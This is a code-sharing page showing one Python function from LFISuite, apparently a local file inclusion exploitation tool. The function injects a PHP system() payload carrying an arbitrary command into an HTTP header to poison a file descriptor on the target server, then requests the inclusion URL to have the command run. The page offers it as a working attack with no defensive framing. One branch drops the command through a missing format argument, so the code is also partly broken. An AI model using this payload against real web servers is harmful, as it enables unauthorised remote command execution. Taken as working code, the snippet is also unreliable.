lfisuite.py 文件源码

python
阅读 50 收藏 0 点赞 0 评论 0

项目:LFISuite 作者: D35m0nd142 项目源码 文件源码
def send_self_fd_cmd(errPage,cmd,field,ofdurl):
    if("php://" in cmd):
        cmd = "%s **<?php %s" %(fd_pre_rand_str,cmd)
        if(";" not in cmd[-2:]):
            cmd = "%s;" %cmd
        cmd = "%s ?> **"
    else:
        cmd = "%s **<?php system(\"%s\"); ?> **" %(fd_pre_rand_str,cmd)

    fd_headers[field] = cmd
    r = requests.get(errPage,headers=fd_headers,timeout=15)
    r = requests.get(ofdurl, headers=bu_headers,timeout=15)
    return r.text
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号